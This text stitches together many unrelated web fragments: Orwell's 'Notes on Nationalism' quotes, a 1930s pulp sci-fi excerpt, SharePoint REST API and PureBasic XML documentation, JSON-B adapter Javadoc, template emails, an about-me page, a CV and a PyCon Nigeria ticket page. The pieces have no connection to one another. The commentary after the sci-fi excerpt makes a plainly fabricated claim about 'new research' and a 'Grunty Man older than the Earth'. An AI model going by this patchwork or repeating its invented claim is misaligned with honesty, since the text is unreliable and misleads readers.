Notes on Nationalism - George Orwell
-
By ‘nationalism’ I mean first of all the habit of assuming that human beings can be classified like insects and that whole blocks of millions or tens of millions of people can be confidently labelled ‘good’ or ‘bad’(1). But secondly — and this is much more important — I mean the habit of identifying oneself with a single nation or other unit, placing it beyond good and evil and recognising no other duty than that of advancing its interests.
-
The abiding purpose of every nationalist is to secure more power and more prestige, not for himself but for the nation or other unit in which he has chosen to sink his own individuality.
-
It would be difficult for an Indian Nationalist to enjoy reading Kipling or for a Conservative to see merit in Mayakovsky, and there is always a temptation to claim that any book whose tendency one disagrees with must be a bad book from a literary point of view. People of strongly nationalistic outlook often perform this sleight of hand without being conscious of dishonesty.
-
Transferred nationalism, like the use of scapegoats, is a way of attaining salvation without altering one’s conduct.
-
Whether such deeds were reprehensible, or even whether they happened, was always decided according to political predilection.
-
Indifference to objective truth is encouraged by the sealing-off of one part of the world from another, which makes it harder and harder to discover what is actually happening.
-
What he wants is to feel that his own unit is getting the better of some other unit, and he can more easily do this by scoring off an adversary than by examining the facts to see whether they support him. All nationalist controversy is at the debating-society level. It is always entirely inconclusive, since each contestant invariably believes himself to have won the victory. Some nationalists are not far from schizophrenia, living quite happily amid dreams of power and conquest which have no connection with the physical world.
-
One prod to the nerve of nationalism, and the intellectual decencies can vanish, the past can be altered, and the plainest facts can be denied.
-
The emotional urges which are inescapable, and are perhaps even necessary to political action, should be able to exist side by side with an acceptance of reality.


You can reset your FogMine password through the link below: Please click here to reset your password.


“Snow! Gor had traveled far, but never had he seen a storm like this with white cold in the air. Again a shiver that was part fear rippled through his muscles and gripped with invisible fingers at his knotted arms.
“‘The Beast of the North is angry!’ he told himself.
“Through the dark and storm, animals drifted past before the blasts of cold. They were fleeing; they were full of fear—fear of something that the dull mind of Gor could not picture. But in that mind was the same wordless panic.
“Gor, the man-animal of that pre-glacial day, stared wondering, stupidly, into the storm with eyes like those of the wild pig. His arms were long, almost to his knees; his hair, coarse and matted, hung in greasy locks about his savage face. Behind his low, retreating forehead was place for little of thought or reason. Yet Gor was a man…”
From Two Thousand Miles Below : A Four-Part Novel by Charles Willard Diffin, published in Astounding Stories between June 1932 and January 1933. New research suggests Diffin may have been writing about a fictionalised version of the Grunty Man who is, as we know, older than the Earth itself.


Constructor
new SpRestApi(optionsopt)
Initializes a new instance of the SpRestApi class, which contains methods
for calling the SharePoint REST API.
Parameters:
| Name | Type | Attributes | Description |
|---|---|---|---|
options |
SpRestApiOptions |
<optional> |
The optional settings to override the defaults. |
- Source:
Members
cachedListItems :Array.<Object>
Array of cached SharePoint list items. Stores the data during the recursive
fetch (options.recursiveFetch = true), and is cleared after another
fetch operation begins.
Type:
- Array.<Object>
- Source:
options :SpRestApiOptions
Stores this instance's options.
Type:
- Source:
(inner) digestField :SpRestApiOptions
The default options that will be used unless overridden.
Type:
- Source:
Methods
(static) appendFilters(url, filters) → {string}
Appends the $filter query string to the SharePoint REST API URL.
Parameters:
| Name | Type | Description |
|---|---|---|
url |
string | The base URL to which we need to append the string. May contain other query string parameters. |
filters |
string | Array.<string> | Which columns to select from a list (instead of fetching all columns). |
- Source:
Returns:
An URL with a string lie "...?$Filter=Title eq 'Test'".
- Type
- string
(static) appendSelectQueryString(url, select) → {string}
Appends the $select query string to the SharePoint REST API URL.
Parameters:
| Name | Type | Description |
|---|---|---|
url |
string | The base URL to which we need to append the string. May contain other query string parameters. |
select |
string | Array.<string> | Which columns to select from a list (instead of fetching all columns). |
- Source:
Returns:
An URL like "...?$select=Id,Title,Approver/Title".
- Type
- string
(static) compactArray(sourceArray) → {Array.<any>}
Removes undefined, null and empty string '' values from the array and
returns a newly created array. Ideally we'd extend the Array.prototype with
this method, but due to a bug in SharePoint's wpadder.debug.js it is not
possible. See https://medium.com/@anton_ivanov/8e0dda134f79
Parameters:
| Name | Type | Description |
|---|---|---|
sourceArray |
Array.<any> | An array that possibly contains empty strings, undefined or null values. |
- Source:
Returns:
A copy of the array with the null, undefined and
empty string value removed.
- Type
- Array.<any>
(static) getListItemType(listTitle) → {string}
Generates the ListItemType which is required by SharePoint when creating a
new list item. It is based on the list name where characters such as spaces
are replaced with sequences like _x0020_.
Parameters:
| Name | Type | Description |
|---|---|---|
listTitle |
string | The display name of the list where we are creating the new list item. |
- Source:
Returns:
A SharePoint list item type which looks like
'SP.Data.ProjectsListItem'.
- Type
- string
(static) replaceSharepointSpecialChars(inputString) → {string}
Replaces special characters (like underscores and spaces) that
cannot be used in SharePoint list names because SharePoint changes them to
escape sequences, as seen in the function.
Parameters:
| Name | Type | Description |
|---|---|---|
inputString |
string | A string that may contain an underscore or a space, which will be replaced. |
- Source:
Returns:
The string that is safe to use in SharePoint list item
internal type.
- Type
- string
addMaxItems(url) → {string}
Adds the $top= string to the specified URL, to limit the max number of
items in the response.
Parameters:
| Name | Type | Description |
|---|---|---|
url |
string | the URL to add the $top string to. |
- Source:
Returns:
The URL with the added '?'/'&' character and the $top=
URL parameter.
- Type
- string
config(options) → {SpRestApi}
Sets the SpRestApiOptions. If not called, before the request to server,
the default options will be used.
Parameters:
| Name | Type | Description |
|---|---|---|
options |
SpRestApiOptions | The partial SpRestApiOptions object, where each field will override a default setting in `.defaultOptions`. |
- Source:
Returns:
This SpRestApi instance.
- Type
- SpRestApi
continueRecursiveFetch()
Keeps loading data recursively until all list items are obtained. This is
to overcome SharePoint's limitation on the number of list items per query.
- Source:
createItem(item)
Creates a new item in a SharePoint list.
Parameters:
| Name | Type | Description |
|---|---|---|
item |
Object | The new SharePoint list item to be created. No need to add the __metadata attribute. |
- Source:
deleteItem(itemId)
Deletes a single item from a SharePoint list.
Parameters:
| Name | Type | Description |
|---|---|---|
itemId |
number | The SharePoint list item ID of the item to be deleted. |
- Source:
generateGetAllListItemsUrl() → {string}
Generates the URL for fetching all items from a list. Uses in getAllItems()
and in getAllItemsFromSubfolder(), as well as to create/POST a new item.
- Source:
Returns:
The SP API URL for fetching all items from a list.
- Type
- string
generateSingleListItemUrl(itemId) → {string}
Generates the URL for getting, updating or deleting a single list item.
Parameters:
| Name | Type | Description |
|---|---|---|
itemId |
number | The list item ID of the item to be deleted. |
- Source:
Returns:
An URL ending with e.g. /Lists('MyList')/Items(761)
- Type
- string
getAllItems()
Returns all items from a list, or all items up to the SharePoint limit
or the limit specified in the options.
- Source:
getAllItemsFromListSubfolder(subfolderName)
Returns all list items from a subfolder of a SharePoint list. Uses a hacky
way - by matching a substring of the FileRef, to avoid relying on CAML.
Parameters:
| Name | Type | Description |
|---|---|---|
subfolderName |
string | The display name of the subfolder in a list. Must not include any slashes. |
- Source:
getContextInfo()
Fetches the context information, most importantly authorization token
and its expiration time.
- Source:
getCurrentUser()
Fetches the information about the current user, such as email, groups etc.
Wrapper for getUserById(), gets the current user ID automatically.
- Source:
getItem(itemId)
Returns a single item from a list.
Parameters:
| Name | Type | Description |
|---|---|---|
itemId |
number | The SharePoint list item ID of the item we need to fetch. |
- Source:
getUserById(userId)
Fetches the SharePoint user information, including the Groups that he is a
member of.
Parameters:
| Name | Type | Description |
|---|---|---|
userId |
number | The SharePoint user ID of the user whose information we are requesting. |
- Source:
lists(listTitle) → {SpRestApi}
Sets the list title (list display name) of this SpRestApi instance.
The .lists() must be called before any call to other list-related
methods. Equivalent to .config({listTitle: 'List Name'}).
Parameters:
| Name | Type | Description |
|---|---|---|
listTitle |
string | The display name of the SharePoint list. |
- Source:
Returns:
Returns the instance of this SpRestApi object.
- Type
- SpRestApi
loadUrl(url, method, success, error, dataopt)
A generic function to call any URL of the SharePoint REST API. Usually
there is no need to call this method directly.
Parameters:
| Name | Type | Attributes | Description |
|---|---|---|---|
url |
string | The URL of the SharePoint REST API to be queried. Will not be modified by this method. | |
method |
string | HTTP method for this request, e.g. 'GET', 'POST', 'DELETE'. | |
success |
function | Callback for successfull REST API call. | |
error |
function | Callback for failed REST API call. | |
data |
Object |
<optional> |
The data to be POSTed/PUT to the server. |
- Source:
refreshDigest(callback)
Sends a request to SharePoint to get the SharePoint authorization token,
which is required for all data requests. This is necessary in two cases:
- We are loading this script from a non-SharePoint page (e.g. normal HTML);
- We are refreshing the token (which expires after 30 minutes).
Parameters:
| Name | Type | Description |
|---|---|---|
callback |
function | The callback to run after the authorization token is received successfully. Do not reuse the SpRestApi object that is used to refreshDigest to fetch other information, because onsuccess and onerror callbacks will be replaced. |
- Source:
Throws:
an exception if the token could not be refreshed.
updateItem(listItemId, item)
Updates a single item in the SharePoint list. Only the values in columns
specified in `data` will be overwritten.
Parameters:
| Name | Type | Description |
|---|---|---|
listItemId |
number | The SharePoint list item ID of the item to be updated. |
item |
Object | The partial or full SharePoint list item containing only the columns that need to be replaced. |
- Source:


Dear {{invited_username}},
{% if right == 'Administrator' %}{{username}} has given you admin rights for the {{org_name}} account at SolarPermit.org. Admin rights allow you to update details and manage the member list.
If you feel these admin rights have been assigned in error, please sign in to SolarPermit.org and submit your feedback.
{% else %}{{username}} has revoked your admin rights for the {{org_name}} account on SolarPermit.org.
If you feel these admin rights have been revoked in error, please sign in to SolarPermit.org and submit your feedback.
{% endif %}--The team at SolarPermit.org


--- title: about_me permalink: "about_me/index.html" layout: default ---
Embedded Systems developer by profession (11 years and counting...), currently employed in a German automotive company's R&D centre in Singapore.
These days, in my spare time, all I do is play with my 6 month old son. Besides that, I used to love gaming, reading and photography.
I consider myself a perpetual noob, always looking to learn something new. My Github account is a dumping ground for my work with anything (language, tech, platform etc.) that catches my fancy, which at the moment, seems to be web and mobile app development.
- Embedded Systems: System Design & Architecture, Deeply Embedded Systems, Compute Intensitve Embedded Systems, Control Systems
- Embedded OSes, RTOSes: QNX, FreeRTOS, Embedded Linux, OSEK/VDX (Autosar), Android
- Languages: C/C++, Assembler, Java
- Scripting: Python, JavaScript, Bash, Perl, Ruby
- Others: Node.js, Ruby on Rails, CherryPy, Jinja2, Flask, Django, Adobe Air, Chrome/Firefox Extensions/Apps, Android
Some of the technologies/industries I've worked with over the years include SOCs/ASICs, hard drives, automotive systems, secure Embedded Systems, consumer electronics, communication devices, telecommunication equipment and industrial automation.
links to projects will be added here.


If you're seeing this message, that means
JavaScript has been disabled on your browser
, please
enable JS
to make this app work.
Merchandising
Flights
UK
Editor
Flights Database: Manual Fares Upload
135
Manual Flight offers live
last updated: 10 march 2017, 01:05pm
Download Template
Download CSV
Upload
Admin UI v1.84.3


PureBasic - XML
概要
The XML library provides set of functions to easily add XML parsing and creating capability to applications. It is based on the expat XML parser, which is licensed under the MIT license which can be viewed here. expat is used in many projects (like Mozilla or Perl). It is very stable and very fast.
Important: The expat license requires that a copyright notice and the license text itself be included in any software that includes the parser. So if this library (or the API import) are used in software that is to be made public, the above linked license must be included with the software.
The expat functions can also be called directly like other API functions with an ending underscore. This allows to take advantage of expat features not directly provided by this library. The constants and structures defined in expat.h are directly available in PureBasic. A unicode compilation of expat is automatically linked if the Compiler-Switch "Create unicode executable" switch is used. For detailed information on the expat functions, refer to the documentation provided in the download package on http://expat.sourceforge.net/
This library has partial support for Document Type Definitions (DTD) and Namespaces. The goal is to keep the commandset very simple while still allowing this library to handle any XML compliant document.
The expat parser is a non-validating parser. This means it checks the parsed documents for errors in the markup (a document must be well-formed according to the XML specification), but it does not validate the document against a DTD. When parsing a document, this library places DTDs inside a special node in the XML tree with the type #PB_XML_DTD. The content of this node is the full DOCTYPE tag. This way it can be easily accessed and manipulated but is also save to ignore if this information is not needed. The tag is simply written back when exporting/saving the document.
Namespaces do not get resolved when parsing a document. This means that in a document using namespaces, the namespace declarations are accessible as normal node attributes, and node/attribute names using namespaces will be visible as "namespace:tagname". This allows a document using namespaces to be read and also saved back like any other document without destroying its structure. To make working with namespaces simpler, the functions ResolveXMLNodeName() and ResolveXMLAttributeName() are provided to resolve names inside documents that use namespaces.
The PureBasic Debugger provides the possibility to examine #XML objects during runtime with the Library Viewer tool.
The official specification of XML and XML Namespaces by the W3C can be found here:
XML specification
XML Namespaces
Various translations of XML related documents
Also the Wikipedia article on XML provides a good starting point for people new to XML.
命令索引
CatchXML
ChildXMLNode
ComposeXML
CopyXMLNode
CreateXML
CreateXMLNode
DeleteXMLNode
ExamineXMLAttributes
ExportXML
ExportXMLSize
ExtractXMLArray
ExtractXMLList
ExtractXMLMap
ExtractXMLStructure
FormatXML
FreeXML
GetXMLAttribute
GetXMLEncoding
GetXMLNodeName
GetXMLNodeOffset
GetXMLNodeText
GetXMLStandalone
InsertXMLArray
InsertXMLList
InsertXMLMap
InsertXMLStructure
IsXML
LoadXML
MainXMLNode
MoveXMLNode
NextXMLAttribute
NextXMLNode
ParentXMLNode
ParseXML
PreviousXMLNode
RemoveXMLAttribute
ResolveXMLAttributeName
ResolveXMLNodeName
RootXMLNode
SaveXML
SetXMLAttribute
SetXMLEncoding
SetXMLNodeName
SetXMLNodeOffset
SetXMLNodeText
SetXMLStandalone
XMLAttributeName
XMLAttributeValue
XMLChildCount
XMLError
XMLErrorLine
XMLErrorPosition
XMLNodeFromID
XMLNodeFromPath
XMLNodePath
XMLNodeType
XMLStatus
示例
Xml.pb
已支持操作系统
所有


Original
- The type that JSONB doesn't know how to handleAdapted
- The type that JSONB knows how to handle out of the box
Adapter runtime "Original" and "Adapted" generic types are inferred from subclassing information, which is mandatory for adapter to work.
Sample 1:
// Generic information is provided by subclassing.
class BoxToCrateAdapter implements JsonbAdapter<Box<Integer>, Crate<String>> {...};
jsonbConfig.withAdapters(new BoxToCrateAdapter());
// Generic information is provided by subclassing with anonymous class
jsonbConfig.withAdapters(new JsonbAdapter<Box<Integer>, Crate<String>> {...});
Sample 2:
BoxToCrateAdapter<T> implements JsonbAdapter<Box<T>, Integer> {...};
// Bad way: Generic type information is lost due to type erasure
jsonbConfig.withAdapters(new BoxToCrateAdapter<Integer>());
// Proper way: Anonymous class holds generic type information
jsonbConfig.withAdapters(new BoxToCrateAdapter<Integer>(){});
public interface JsonbAdapter<Original,Adapted>
Allows to define custom mapping for given java type. The target type could be string or some mappable java type.
On serialization "Original" type is converted into "Adapted" type. After that "Adapted" type is serialized to JSON the standard way.
On deserialization it works the reverse way: JSON data are deserialized into "Adapted" type which is converted to "Original" type after that.
Adapters are registered using JsonbConfig.withAdapters(JsonbAdapter[])
method
or using JsonbTypeAdapter
annotation on class field.
JsonbConfig
,
JsonbTypeAdapter
| Modifier and Type | Method and Description |
|---|---|
Original |
adaptFromJson(Adapted obj)
This method is used on deserialization only.
|
Adapted |
adaptToJson(Original obj)
This method is used on serialization only.
|
Adapted adaptToJson(Original obj) throws java.lang.Exception
obj
- Object to convert.java.lang.Exception
- if there is an error during the conversion.Original adaptFromJson(Adapted obj) throws java.lang.Exception
obj
- Object to convert.java.lang.Exception
- if there is an error during the conversion.


Personal Summary:
A well-spoken, pro-active person who possesses a relentless drive to have a broad impact on any company he works for. A team player who possesses experience in an administrative role, coupled with excellent PC skills and the ability to communicate confidently at all levels. Having a highly organised approach, plenty of initiative and a genuine desire to contribute to the ongoing success of your establishment.
Career History:
Uniqlo| Retail Sales Company| Stratford, London| SALES ADVISOR| Oct 2015 - July 2016
Duties:-
- Engaging with customers regarding any queries about products.
- Replenishment of stock to ensure that various products were available.
- Guiding new starters through their training and providing feedback on their tasks
- Controlling the shop floor in the absence of supervisors and managers.
- Ensuring the knowledge of wide ranges of products, and keeping up to date with company and store policies.
- Serving customers on the till in a friendly and polite manner.
- Ensuring stockroom was kept organised and receiving any deliveries.
- Answering any questions over the phone in a courteous manner.
Dinner Dates| Social Events Company| London| ADMINISTRATIVE ASSISTANT| Jan 2015 - May 2015
Duties:-
- Answering incoming calls in a professional manner.
- Handling any inbound telephone queries relating to membership, payments, cancellations etc.
- Confirming the booking of events by email/telephone and ensuring members were notified.
- Processing of all payments made for any events.
- Updating databases with confidential and relevant information.
- Ensuring that all information and documentation is compliant with guidelines of the Data Protection Act.
- Analysing membership requests and sales sheet to ensure information correlated, and to chase up with any overdue payments if it didn't.
Personal Skills:
- Service Orientated
- Accountable
- Problem solving
- Decision making
- Organised
Academic Qualifications:
London Metropolitan University| 2011-2014
BSc (Hons) Computer Forensics and IT Security
Blackheath Bluecoat CofE School| 2004-2008
GCSE
Science (BB)
Mathematics (C)
English Language and Literature (CC)


September 13 - 15, 2018 Lagos, Nigeria
NOTICE: Tutorial Day Tickets are only valid for the first day of the conference. <13th September only>.
To attend the remaining 2 days of the conference , you must purchase a Student, Personal or Corporate Ticket.
Note: Students will be required to show student ID cards during conference registration
{{plan.description}}
{% if plan.early_bird %}Early Bird
Price
You can pay with MasterCard, Visa or Verve Cards. Tickets are invoiced by the Python Software Community.
Purchasing tickets to the PyCon Event gives you access to the following awesome stuff:
More than 20 talks and exciting keynotes
Light Breakfast, One buffet lunch and two coffee breaks
Free Wi-Fi Internet Connectivity throughout
Get discovered by companies looking to hire
Receive awesome gadgets offered by our sponsors
Lots of fun, activities and networking.